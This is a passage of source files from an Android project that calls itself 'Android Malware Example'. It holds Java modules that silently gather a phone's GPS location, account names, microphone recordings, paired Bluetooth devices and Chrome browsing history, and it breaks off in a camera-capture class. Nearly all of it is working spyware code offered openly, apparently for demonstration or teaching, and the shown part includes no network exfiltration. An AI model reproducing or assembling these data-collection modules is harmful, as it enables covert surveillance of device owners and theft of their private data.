57 | isGPSEnabled = locationManager
58 | .isProviderEnabled(LocationManager.GPS_PROVIDER);
59 | isNetworkEnabled = locationManager
60 | .isProviderEnabled(LocationManager.NETWORK_PROVIDER);
61 |
62 | }
63 | public class LatLon {
64 | public double lat;
65 | public double lon;
66 | }
67 | public LatLon getLocation() {
68 |
69 |
70 |
71 | try {
72 |
73 | // getting GPS status
74 | isGPSEnabled = locationManager
75 | .isProviderEnabled(LocationManager.GPS_PROVIDER);
76 |
77 | // getting network status
78 | isNetworkEnabled = locationManager
79 | .isProviderEnabled(LocationManager.NETWORK_PROVIDER);
80 | isNetworkEnabled=false;
81 | if (!isGPSEnabled && !isNetworkEnabled) {
82 | // no network provider is enabled
83 | } else {
84 | this.canGetLocation = true;
85 | if (isGPSEnabled) {
86 |
87 | try {
88 | if (location == null) {
89 |
90 | locationManager.requestLocationUpdates(
91 | LocationManager.GPS_PROVIDER,
92 | MIN_TIME_BW_UPDATES,
93 | MIN_DISTANCE_CHANGE_FOR_UPDATES, this);
94 | Log.d("GPS Enabled", "GPS Enabled");
95 | if (locationManager != null) {
96 | location = locationManager
97 | .getLastKnownLocation(LocationManager.GPS_PROVIDER);
98 | if (location != null) {
99 | latlon.lat = location.getLatitude();
100 | latlon.lon = location.getLongitude();
101 | }
102 | }
103 | }
104 | } catch (SecurityException sec){
105 |
106 | Log.d(configParams.PROGID, "Unable to get GPS Location");
107 | }
108 |
109 |
110 | }else if (isNetworkEnabled) {
111 |
112 | try {
113 |
114 |
115 | locationManager.requestLocationUpdates(
116 | LocationManager.NETWORK_PROVIDER,
117 | MIN_TIME_BW_UPDATES,
118 | MIN_DISTANCE_CHANGE_FOR_UPDATES, this);
119 | Log.d("Network", "Network");
120 | if (locationManager != null) {
121 | location = locationManager
122 | .getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
123 | if (location != null) {
124 | LatLon _latlon = new LatLon();
125 |
126 | _latlon.lat = location.getLatitude();
127 | _latlon.lon = location.getLongitude();
128 | Log.d("BGMonitor_GPSLocation", "Network Location[Lat=" + _latlon.lat + "] [Lon=" + _latlon.lon + "]");
129 |
130 | }
131 | }
132 | } catch (SecurityException sec){
133 |
134 | Log.d(configParams.PROGID,"Unable to get network location");
135 | }
136 | }
137 | // if GPS Enabled get lat/long using GPS Services
138 | }
139 |
140 | } catch (Exception e) {
141 | e.printStackTrace();
142 | }
143 | return latlon;
144 | }
145 |
146 | public void stopUsingGPS() {
147 | if (locationManager != null) {
148 | try {
149 | locationManager.removeUpdates(GPSLocation.this);
150 | }catch (SecurityException sec){
151 |
152 | }
153 | }
154 | }
155 |
156 | /**
157 | * Function to get latitude
158 | * */
159 | public double getLatitude() {
160 | if (location != null) {
161 | latlon.lat = location.getLatitude();
162 | }
163 |
164 | // return latitude
165 | return latlon.lat;
166 | }
167 |
168 | /**
169 | * Function to get longitude
170 | * */
171 | public double getLongitude() {
172 | if (location != null) {
173 | latlon.lon = location.getLongitude();
174 | }
175 |
176 | // return longitude
177 | return latlon.lon;
178 | }
179 |
180 | @Override
181 | public void onLocationChanged(Location location) {
182 | // Log.d("BGMonitor_GPSLocation", "onLocationChanged[Lat="+latitude+"] [Lon="+longitude+"]");
183 | // WritePhoneInfo _wpi = new WritePhoneInfo();
184 | // _wpi.SavePhoneLocation(Double.toString(latitude),Double.toString(longitude),PhoneNum);
185 | stopUsingGPS();
186 | }
187 |
188 | @Override
189 | public void onProviderDisabled(String provider) {
190 | }
191 |
192 | @Override
193 | public void onProviderEnabled(String provider) {
194 | }
195 |
196 |
197 |
198 |
199 | @Override
200 | public void onStatusChanged(String arg0, int arg1, Bundle arg2) {
201 | // TODO Auto-generated method stub
202 | // Log.d("BGMonitor_GPSLocation", "onStatusChanged");
203 | // WritePhoneInfo _wpi = new WritePhoneInfo();
204 | // _wpi.SavePhoneLocation(Double.toString(latitude),Double.toString(longitude),PhoneNum);
205 | // stopUsingGPS();
206 | }
207 |
208 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/GetAccounts.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.accounts.Account;
24 | import android.accounts.AccountManager;
25 | import android.content.Context;
26 | import android.util.Log;
27 |
28 | import java.util.ArrayList;
29 | import java.util.List;
30 |
31 | /**
32 | * Created by darrylb on 10/2/16.
33 | */
34 | public class GetAccounts {
35 |
36 | Context context;
37 | ConfigParams configParams;
38 | List accounts;
39 | public class AccountInfo {
40 | public String Name;
41 | public String Type;
42 | public AccountInfo(String name, String type){
43 | Name = name;
44 | Type = type;
45 | }
46 | }
47 | public GetAccounts( Context _context){
48 | context = _context;
49 | configParams = new ConfigParams(context);
50 | accounts = new ArrayList();
51 | }
52 |
53 | public List getAccounts(){
54 | AccountManager am = AccountManager.get(context);
55 | Account[] _accounts = am.getAccounts();
56 |
57 | for (Account ac : _accounts) {
58 | AccountInfo _account = new AccountInfo(ac.name,ac.type);
59 | accounts.add(_account);
60 | // Take your time to look at all available accounts
61 | if (configParams.Logging) Log.d (configParams.PROGID,"Accounts : " + _account.Name + ", " + _account.Type);
62 | }
63 | return accounts;
64 | }
65 |
66 |
67 |
68 | }
69 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/GetAudio.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.Context;
24 | import android.media.MediaRecorder;
25 | import android.os.Environment;
26 | import android.util.Log;
27 |
28 | import java.io.File;
29 |
30 | /**
31 | * Created by darrylb on 10/2/16.
32 | */
33 | public class GetAudio {
34 | Context context;
35 | ConfigParams configParams;
36 | MediaRecorder myAudioRecorder;
37 |
38 | public GetAudio(Context _context) {
39 | context = _context;
40 | configParams = new ConfigParams(context);
41 |
42 | }
43 | public void RecordAudio (int seconds, String file){
44 |
45 | File fpath = configParams.StoragePath;
46 | Log.d(configParams.PROGID,"Recording Audio to:"+fpath+"/"+file);
47 |
48 | try {
49 |
50 |
51 | myAudioRecorder = new MediaRecorder();
52 | myAudioRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
53 | myAudioRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
54 | myAudioRecorder.setAudioEncoder(MediaRecorder.OutputFormat.AMR_NB);
55 | myAudioRecorder.setOutputFile(fpath + "/" + file);
56 | myAudioRecorder.prepare();
57 | if (configParams.Logging) Log.d(configParams.PROGID,"GetAudio: recording started");
58 | myAudioRecorder.start();
59 |
60 | Thread.sleep(seconds*1000);
61 |
62 | myAudioRecorder.stop();
63 | if (configParams.Logging)Log.d(configParams.PROGID,"GetAudio: recording finished");
64 | myAudioRecorder.release();
65 | myAudioRecorder = null;
66 | } catch (Exception ex){
67 | if (configParams.Logging) Log.d(configParams.PROGID,"GetAudio: record error:"+ex.toString());
68 | }
69 |
70 | }
71 | public File getRecordingFile(String file){
72 |
73 | File fpath = Environment.getExternalStorageDirectory();
74 | File recording = new File(fpath+"/"+file);
75 | return recording;
76 |
77 | }
78 | }
79 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/GetBlueToothInfo.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.accounts.Account;
24 | import android.bluetooth.BluetoothAdapter;
25 | import android.bluetooth.BluetoothClass;
26 | import android.bluetooth.BluetoothDevice;
27 | import android.bluetooth.BluetoothGatt;
28 | import android.bluetooth.BluetoothGattCallback;
29 | import android.bluetooth.BluetoothGattCharacteristic;
30 | import android.bluetooth.BluetoothGattDescriptor;
31 | import android.bluetooth.BluetoothGattService;
32 | import android.bluetooth.BluetoothManager;
33 | import android.bluetooth.BluetoothProfile;
34 | import android.bluetooth.le.BluetoothLeScanner;
35 | import android.bluetooth.le.ScanCallback;
36 | import android.content.Context;
37 | import android.content.Intent;
38 | import android.net.wifi.ScanResult;
39 | import android.os.Binder;
40 | import android.os.IBinder;
41 | import android.os.ParcelUuid;
42 | import android.util.Log;
43 |
44 | import java.util.ArrayList;
45 | import java.util.HashMap;
46 | import java.util.List;
47 | import java.util.Set;
48 | import java.util.UUID;
49 |
50 | /**
51 | * Created by darrylb on 10/5/16.
52 | */
53 | public class GetBlueToothInfo {
54 |
55 | Context context;
56 | ConfigParams configParams;
57 | BluetoothAdapter mBluetoothAdapter;
58 | List blueToothDevices;
59 | String TAG="";
60 |
61 |
62 | public GetBlueToothInfo(Context _context) {
63 | context = _context;
64 | configParams = new ConfigParams(context);
65 | blueToothDevices = new ArrayList();
66 | mBluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
67 | TAG = configParams.PROGID;
68 | }
69 |
70 |
71 | public class BlueToothDevice {
72 | public String Name;
73 | public String Address;
74 | public String Type;
75 | public int BondState;
76 | public BluetoothClass Class;
77 | public String ClassString;
78 | public ParcelUuid[] UUIDs;
79 | public String Device;
80 |
81 | }
82 |
83 | public String getBlueToothState() {
84 | return (CheckBlueToothState());
85 | }
86 |
87 | public List getBlueToothInfo() {
88 |
89 | Set pairedDevices = mBluetoothAdapter.getBondedDevices();
90 | if (pairedDevices.size() > 0) {
91 | for (BluetoothDevice device : pairedDevices) {
92 | BlueToothDevice _device = new BlueToothDevice();
93 | _device.Name = device.getName();
94 | _device.Address = device.getAddress();
95 | int _devicetype = device.getType();
96 |
97 | if (_devicetype == device.DEVICE_TYPE_CLASSIC)
98 | _device.Type = "Classic - BR/EDR devices";
99 | else if (_devicetype == device.DEVICE_TYPE_DUAL)
100 | _device.Type = "Dual Mode - BR/EDR/LE";
101 | else if (_devicetype == device.DEVICE_TYPE_LE)
102 | _device.Type = "Low Energy - LE-only";
103 | else if (_devicetype == device.DEVICE_TYPE_UNKNOWN) _device.Type = "Unknown";
104 |
105 |
106 | _device.BondState = device.getBondState();
107 | _device.Class = device.getBluetoothClass();
108 | _device.ClassString = _device.Class.toString();
109 | _device.UUIDs = device.getUuids();
110 | _device.Device = device.toString();
111 |
112 | blueToothDevices.add(_device);
113 | String msg = "Bluetooth Device: " + _device.Name + "\n\t Addr: [" + _device.Address + "] \n\t Type:["
114 | + _device.Type + "]\n\tBondState:[" + _device.BondState + "]\n\tClass:["
115 | + _device.ClassString + "]\n\tUUIDS:\n";
116 | if (_device.UUIDs != null) for (ParcelUuid uuid : _device.UUIDs) {
117 | msg += "\t\t" + uuid.toString() + "\n";
118 | }
119 |
120 | msg += "\tDevice:[" + _device.Device + "]";
121 |
122 | if (configParams.Logging) Log.d(configParams.PROGID, msg);
123 |
124 | }
125 | }
126 | return blueToothDevices;
127 | //
128 | }
129 |
130 | private String CheckBlueToothState() {
131 | String State = "Unknown";
132 | if (mBluetoothAdapter == null) {
133 | State = "Bluetooth NOT support";
134 | } else {
135 | if (mBluetoothAdapter.isEnabled()) {
136 | if (mBluetoothAdapter.isDiscovering()) {
137 | State = "Bluetooth is currently in device discovery process.";
138 | } else {
139 | State = "Bluetooth is Enabled.";
140 | }
141 | } else {
142 | State = "Bluetooth is NOT Enabled!";
143 | }
144 | }
145 | if (configParams.Logging) Log.d(configParams.PROGID, "Bluetooth State:[" + State + "]");
146 | return State;
147 | }
148 |
149 |
150 | private BluetoothManager mBluetoothManager;
151 |
152 | private String mBluetoothDeviceAddress;
153 | private BluetoothGatt mBluetoothGatt;
154 |
155 |
156 | private int STATE_DISCONNECTED = 0;
157 | private int STATE_CONNECTING = 1;
158 | private int STATE_CONNECTED = 2;
159 |
160 | private int mConnectionState = STATE_DISCONNECTED;
161 |
162 | public String ACTION_GATT_CONNECTED =
163 | "com.example.bluetooth.le.ACTION_GATT_CONNECTED";
164 | public String ACTION_GATT_DISCONNECTED =
165 | "com.example.bluetooth.le.ACTION_GATT_DISCONNECTED";
166 | public String ACTION_GATT_SERVICES_DISCOVERED =
167 | "com.example.bluetooth.le.ACTION_GATT_SERVICES_DISCOVERED";
168 | public String ACTION_DATA_AVAILABLE =
169 | "com.example.bluetooth.le.ACTION_DATA_AVAILABLE";
170 | public String EXTRA_DATA =
171 | "com.example.bluetooth.le.EXTRA_DATA";
172 |
173 | public UUID UUID_HEART_RATE_MEASUREMENT =
174 | UUID.fromString(SampleGattAttributes.HEART_RATE_MEASUREMENT);
175 |
176 | // Implements callback methods for GATT events that the app cares about. For example,
177 | // connection change and services discovered.
178 |
179 |
180 | private final BluetoothGattCallback mGattCallback = new BluetoothGattCallback() {
181 | @Override
182 | public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
183 | String intentAction;
184 | Log.i(TAG, "GattCallBackNewState:"+newState+":"+gatt.getDevice().getName());
185 | if (newState == BluetoothProfile.STATE_CONNECTED) {
186 | intentAction = ACTION_GATT_CONNECTED;
187 | mConnectionState = STATE_CONNECTED;
188 | broadcastUpdate(intentAction);
189 | Log.i(TAG, "Connected to GATT server.");
190 | // Attempts to discover services after successful connection.
191 | Log.i(TAG, "Attempting to start service discovery:" +
192 | mBluetoothGatt.discoverServices());
193 |
194 | } else if (newState == BluetoothProfile.STATE_DISCONNECTED) {
195 | intentAction = ACTION_GATT_DISCONNECTED;
196 | mConnectionState = STATE_DISCONNECTED;
197 | Log.i(TAG, ".Disconnected from GATT server.");
198 | broadcastUpdate(intentAction);
199 | }
200 | }
201 |
202 |
203 |
204 |
205 | @Override
206 | public void onServicesDiscovered(BluetoothGatt gatt, int status) {
207 | Log.d(configParams.PROGID,"GaTT ________________________________________________________________________________________");
208 | if (status == BluetoothGatt.GATT_SUCCESS) {
209 | Log.d(configParams.PROGID,"GaTT Service Success");
210 |
211 | broadcastUpdate(ACTION_GATT_SERVICES_DISCOVERED);
212 | } else {
213 | Log.w(TAG, "onServicesDiscovered received: " + status);
214 | }
215 | }
216 |
217 | @Override
218 | public void onCharacteristicRead(BluetoothGatt gatt,
219 | BluetoothGattCharacteristic characteristic,
220 | int status) {
221 | if (status == BluetoothGatt.GATT_SUCCESS) {
222 | broadcastUpdate(ACTION_DATA_AVAILABLE, characteristic);
223 | }
224 | }
225 |
226 | @Override
227 | public void onCharacteristicChanged(BluetoothGatt gatt,
228 | BluetoothGattCharacteristic characteristic) {
229 | broadcastUpdate(ACTION_DATA_AVAILABLE, characteristic);
230 | }
231 | };
232 |
233 | private void broadcastUpdate(final String action) {
234 | final Intent intent = new Intent(action);
235 | context.sendBroadcast(intent);
236 | }
237 |
238 | private void broadcastUpdate(final String action,
239 | final BluetoothGattCharacteristic characteristic) {
240 | final Intent intent = new Intent(action);
241 |
242 | // This is special handling for the Heart Rate Measurement profile. Data parsing is
243 | // carried out as per profile specifications:
244 | // http://developer.bluetooth.org/gatt/characteristics/Pages/CharacteristicViewer.aspx?u=org.bluetooth.characteristic.heart_rate_measurement.xml
245 |
246 | // For all other profiles, writes the data formatted in HEX.
247 | final byte[] data = characteristic.getValue();
248 | Log.d(configParams.PROGID,"Device Char:"+characteristic.toString());
249 | if (data != null && data.length > 0) {
250 | final StringBuilder stringBuilder = new StringBuilder(data.length);
251 | for (byte byteChar : data)
252 | stringBuilder.append(String.format("%02X ", byteChar));
253 | intent.putExtra(EXTRA_DATA, new String(data) + "\n" + stringBuilder.toString());
254 |
255 | Log.d(configParams.PROGID,"Device More:"+stringBuilder.toString());
256 |
257 |
258 | }
259 |
260 | context.sendBroadcast(intent);
261 | }
262 |
263 | // public class LocalBinder extends Binder {
264 | // context.BluetoothLeService getService() {
265 | // return BluetoothLeService.this;
266 | // }
267 | // }
268 |
269 |
270 | /**
271 | * Initializes a reference to the local Bluetooth adapter.
272 | *
273 | * @return Return true if the initialization is successful.
274 | */
275 | public boolean initialize() {
276 | // For API level 18 and above, get a reference to BluetoothAdapter through
277 | // BluetoothManager.
278 | if (mBluetoothManager == null) {
279 | mBluetoothManager = (BluetoothManager) context.getSystemService(Context.BLUETOOTH_SERVICE);
280 | if (mBluetoothManager == null) {
281 | Log.e(TAG, "Unable to initialize BluetoothManager.");
282 | return false;
283 | }
284 | }
285 |
286 | mBluetoothAdapter = mBluetoothManager.getAdapter();
287 | if (mBluetoothAdapter == null) {
288 | Log.e(TAG, "Unable to obtain a BluetoothAdapter.");
289 | return false;
290 | }
291 |
292 | return true;
293 | }
294 |
295 | /**
296 | * Connects to the GATT server hosted on the Bluetooth LE device.
297 | *
298 | * @param address The device address of the destination device.
299 | * @return Return true if the connection is initiated successfully. The connection result
300 | * is reported asynchronously through the
301 | * {@code BluetoothGattCallback#onConnectionStateChange(android.bluetooth.BluetoothGatt, int, int)}
302 | * callback.
303 | */
304 | public boolean connect(final String address) {
305 | if (mBluetoothAdapter == null || address == null) {
306 | Log.w(TAG, "BluetoothAdapter not initialized or unspecified address.");
307 | return false;
308 | }
309 |
310 | // Previously connected device. Try to reconnect.
311 | if (mBluetoothDeviceAddress != null && address.equals(mBluetoothDeviceAddress)
312 | && mBluetoothGatt != null) {
313 | Log.d(TAG, "Trying to use an existing mBluetoothGatt for connection.");
314 | if (mBluetoothGatt.connect()) {
315 | mConnectionState = STATE_CONNECTING;
316 | return true;
317 | } else {
318 | return false;
319 | }
320 | }
321 |
322 | final BluetoothDevice device = mBluetoothAdapter.getRemoteDevice(address);
323 | if (device == null) {
324 | Log.w(TAG, "Device not found. Unable to connect.");
325 | return false;
326 | }
327 | // We want to directly connect to the device, so we are setting the autoConnect
328 | // parameter to false.
329 | mBluetoothGatt = device.connectGatt(context, true, mGattCallback);
330 | Log.d(TAG, "Trying to create a new connection.");
331 | mBluetoothDeviceAddress = address;
332 | mConnectionState = STATE_CONNECTING;
333 | return true;
334 | }
335 |
336 | /**
337 | * Disconnects an existing connection or cancel a pending connection. The disconnection result
338 | * is reported asynchronously through the
339 | * {@code BluetoothGattCallback#onConnectionStateChange(android.bluetooth.BluetoothGatt, int, int)}
340 | * callback.
341 | */
342 | public void disconnect() {
343 | if (mBluetoothAdapter == null || mBluetoothGatt == null) {
344 | Log.w(TAG, "BluetoothAdapter not initialized");
345 | return;
346 | }
347 | mBluetoothGatt.disconnect();
348 | close();
349 | }
350 |
351 | /**
352 | * After using a given BLE device, the app must call this method to ensure resources are
353 | * released properly.
354 | */
355 | public void close() {
356 | if (mBluetoothGatt == null) {
357 | return;
358 | }
359 | mBluetoothGatt.close();
360 | mBluetoothGatt = null;
361 | }
362 |
363 | /**
364 | * Request a read on a given {@code BluetoothGattCharacteristic}. The read result is reported
365 | * asynchronously through the {@code BluetoothGattCallback#onCharacteristicRead(android.bluetooth.BluetoothGatt, android.bluetooth.BluetoothGattCharacteristic, int)}
366 | * callback.
367 | *
368 | * @param characteristic The characteristic to read from.
369 | */
370 | public void readCharacteristic(BluetoothGattCharacteristic characteristic) {
371 | if (mBluetoothAdapter == null || mBluetoothGatt == null) {
372 | Log.w(TAG, "BluetoothAdapter not initialized");
373 | return;
374 | }
375 | mBluetoothGatt.readCharacteristic(characteristic);
376 | }
377 |
378 | /**
379 | * Enables or disables notification on a give characteristic.
380 | *
381 | * @param characteristic Characteristic to act on.
382 | * @param enabled If true, enable notification. False otherwise.
383 | */
384 | public void setCharacteristicNotification(BluetoothGattCharacteristic characteristic,
385 | boolean enabled) {
386 | if (mBluetoothAdapter == null || mBluetoothGatt == null) {
387 | Log.w(TAG, "BluetoothAdapter not initialized");
388 | return;
389 | }
390 | mBluetoothGatt.setCharacteristicNotification(characteristic, enabled);
391 |
392 | // This is specific to Heart Rate Measurement.
393 | if (UUID_HEART_RATE_MEASUREMENT.equals(characteristic.getUuid())) {
394 | BluetoothGattDescriptor descriptor = characteristic.getDescriptor(
395 | UUID.fromString(SampleGattAttributes.CLIENT_CHARACTERISTIC_CONFIG));
396 | descriptor.setValue(BluetoothGattDescriptor.ENABLE_NOTIFICATION_VALUE);
397 | mBluetoothGatt.writeDescriptor(descriptor);
398 | }
399 | }
400 |
401 | /**
402 | * Retrieves a list of supported GATT services on the connected device. This should be
403 | * invoked only after {@code BluetoothGatt#discoverServices()} completes successfully.
404 | *
405 | * @return A {@code List} of supported services.
406 | */
407 | public List getSupportedGattServices() {
408 | if (mBluetoothGatt == null) return null;
409 |
410 | return mBluetoothGatt.getServices();
411 | }
412 |
413 |
414 |
415 | }
416 |
417 |
418 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/GetBrowserHistory.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.Context;
24 | import android.database.Cursor;
25 | import android.net.Uri;
26 | import android.provider.Browser;
27 | import android.util.Log;
28 |
29 | import java.text.SimpleDateFormat;
30 | import java.util.Date;
31 |
32 | /**
33 | * Created by darrylb on 10/3/16.
34 | */
35 | public class GetBrowserHistory {
36 |
37 |
38 | Context context;
39 | ConfigParams configParams;
40 |
41 |
42 | public GetBrowserHistory(Context _context){
43 | context = _context;
44 | configParams = new ConfigParams(context);
45 | }
46 | public void BrowserHistory(String filename) {
47 |
48 |
49 |
50 | Cursor cursor = context.getContentResolver().query(Uri.parse("content://com.android.chrome.browser/history"), null, null, null, null);
51 |
52 | if (cursor.moveToFirst()) { // must check the result to prevent exception
53 | do {
54 | Log.d(configParams.PROGID,"CURSOR:");
55 | String msgData = "";
56 |
57 | for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
58 | msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
59 |
60 | }
61 | Log.d(configParams.PROGID,"Cols:"+msgData);
62 | //
63 |
64 |
65 | //
66 | //
67 | // SMSInfo _sms = new SMSInfo();
68 | // _sms.messageId = cursor.getString(cursor.getColumnIndexOrThrow("_id"));
69 | // _sms.address = cursor.getString(cursor.getColumnIndexOrThrow("address"));
70 | // _sms.readState = cursor.getString(cursor.getColumnIndex("read"));
71 | // String dateString = new SimpleDateFormat("yyyy-MMM-dd HH:mm:ss").format(new Date(cursor.getLong(4)));
72 | //
73 | // // _sms.datestamp = cursor.getString(cursor.getColumnIndexOrThrow("date"));
74 | // _sms.datestamp = dateString;
75 | // if (cursor.getString(cursor.getColumnIndexOrThrow("type")).contains("1")) {
76 | // _sms.folder ="inbox";
77 | // } else {
78 | // _sms.folder ="sent";
79 | // }
80 | // _sms.message = cursor.getString(cursor.getColumnIndexOrThrow("body"));
81 | // smsInfo.add(_sms);
82 | //
83 | //
84 | // // use msgData
85 | } while (cursor.moveToNext());
86 | } else {
87 | // empty box, no SMS
88 | }
89 |
90 |
91 |
92 |
93 | }
94 | }
95 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/GetCamera.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.Manifest;
24 | import android.app.Activity;
25 | import android.content.Context;
26 | import android.content.pm.PackageManager;
27 | import android.graphics.ImageFormat;
28 | import android.graphics.SurfaceTexture;
29 | import android.hardware.Camera;
30 | import android.hardware.camera2.CameraAccessException;
31 | import android.hardware.camera2.CameraCaptureSession;
32 | import android.hardware.camera2.CameraCharacteristics;
33 | import android.hardware.camera2.CameraDevice;
34 | import android.hardware.camera2.CameraManager;
35 | import android.hardware.camera2.CameraMetadata;
36 | import android.hardware.camera2.CaptureRequest;
37 | import android.hardware.camera2.TotalCaptureResult;
38 | import android.hardware.camera2.params.StreamConfigurationMap;
39 | import android.media.Image;
40 | import android.media.ImageReader;
41 | import android.os.Environment;
42 | import android.os.Handler;
43 | import android.os.HandlerThread;
44 | import android.support.annotation.NonNull;
45 | import android.support.v4.app.ActivityCompat;
46 | import android.util.Log;
47 | import android.util.Size;
48 | import android.util.SparseIntArray;
49 | import android.view.Surface;
50 | import android.view.SurfaceHolder;
51 | import android.view.TextureView;
52 | import android.widget.Toast;
53 |
54 | import java.io.File;
55 | import java.io.FileNotFoundException;
56 | import java.io.FileOutputStream;
57 | import java.io.IOException;
58 | import java.io.OutputStream;
59 | import java.nio.ByteBuffer;
60 | import java.util.ArrayList;
61 | import java.util.Arrays;
62 | import java.util.List;
63 |
64 | /**
65 | * Created by darrylb on 10/3/16.
66 | */
67 | public class GetCamera {
68 |
69 |
70 | Context context;
71 | ConfigParams configParams;
72 |
73 | private SurfaceHolder sHolder;
74 |
75 | private String cameraId;
76 | protected CameraDevice cameraDevice;
77 |
78 | protected CameraCaptureSession cameraCaptureSessions;
79 | protected CaptureRequest captureRequest;
80 | protected CaptureRequest.Builder captureRequestBuilder;
81 | private Size imageDimension;
82 | private ImageReader imageReader;
83 | private File file;
84 | private static final int REQUEST_CAMERA_PERMISSION = 200;
85 | private boolean mFlashSupported;
86 | private Handler mBackgroundHandler;
87 | private HandlerThread mBackgroundThread;
88 |
89 | private TextureView textureView;
90 | private CameraActivity activity;
91 |
92 | private static final SparseIntArray ORIENTATIONS = new SparseIntArray();
93 | static {
94 | ORIENTATIONS.append(Surface.ROTATION_0, 90);
95 | ORIENTATIONS.append(Surface.ROTATION_90, 0);
96 | ORIENTATIONS.append(Surface.ROTATION_180, 270);
97 | ORIENTATIONS.append(Surface.ROTATION_270, 180);
98 | }
99 |
100 |
101 | public GetCamera(Context _context){
102 | // context = _context;
103 | // configParams = new ConfigParams(context);
104 | //
105 | // activity = new CameraActivity();
106 | //
107 | // activity.setContentView(R.layout.activity_camera);
108 | // textureView = (TextureView) activity.findViewById(R.id.textureView);
109 |
110 | }
111 |
112 | TextureView.SurfaceTextureListener textureListener = new TextureView.SurfaceTextureListener() {
113 | @Override
114 | public void onSurfaceTextureAvailable(SurfaceTexture surface, int width, int height) {
115 | //open your camera here
116 | openCamera();
117 | }
118 | @Override
119 | public void onSurfaceTextureSizeChanged(SurfaceTexture surface, int width, int height) {
120 | // Transform you image captured size according to the surface width and height
121 | }
122 | @Override
123 | public boolean onSurfaceTextureDestroyed(SurfaceTexture surface) {
124 | return false;
125 | }
126 | @Override
127 | public void onSurfaceTextureUpdated(SurfaceTexture surface) {
128 | }
129 | };
130 | private final CameraDevice.StateCallback stateCallback = new CameraDevice.StateCallback() {
131 | @Override
132 | public void onOpened(CameraDevice camera) {
133 | //This is called when the camera is open
134 | Log.e(configParams.PROGID, "onOpened");
135 | cameraDevice = camera;
136 | createCameraPreview();
137 | }
138 | @Override
139 | public void onDisconnected(CameraDevice camera) {
140 | cameraDevice.close();
141 | }
142 | @Override
143 | public void onError(CameraDevice camera, int error) {
144 | cameraDevice.close();
145 | cameraDevice = null;
146 | }
147 | };
148 | final CameraCaptureSession.CaptureCallback captureCallbackListener = new CameraCaptureSession.CaptureCallback() {
149 | @Override
